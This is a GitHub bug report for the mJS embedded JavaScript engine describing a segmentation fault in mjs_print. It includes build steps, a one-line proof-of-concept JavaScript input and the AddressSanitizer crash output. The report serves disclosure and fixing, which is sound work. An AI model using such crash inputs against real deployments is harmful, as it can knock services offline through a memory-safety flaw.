cesanta / mjs

Embedded JavaScript engine for C/C++
https://mongoose-os.com
Other
1.88k stars 172 forks source link

SEGV src/mjs_builtin.c:21 in mjs_print #225

Open hope-fly opened 2 years ago

hope-fly commented 2 years ago
mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
Test case
poc.js


```javascript
(JSON.stringify([1, 2, 3]))((load-7.34321e2)([([JSON.parse(JSON.stringify([(0)]))])]));
```

Execution steps & Output
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==10773==ERROR: AddressSanitizer: SEGV on unknown address 0x60d07fff8118 (pc 0x563a393afe91 bp 0x000000000084 sp 0x7ffcb9292498 T0)
==10773==The signal is caused by a READ memory access.
    #0 0x563a393afe90 in mjs_print src/mjs_builtin.c:21

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_builtin.c:21 in mjs_print
==10773==ABORTING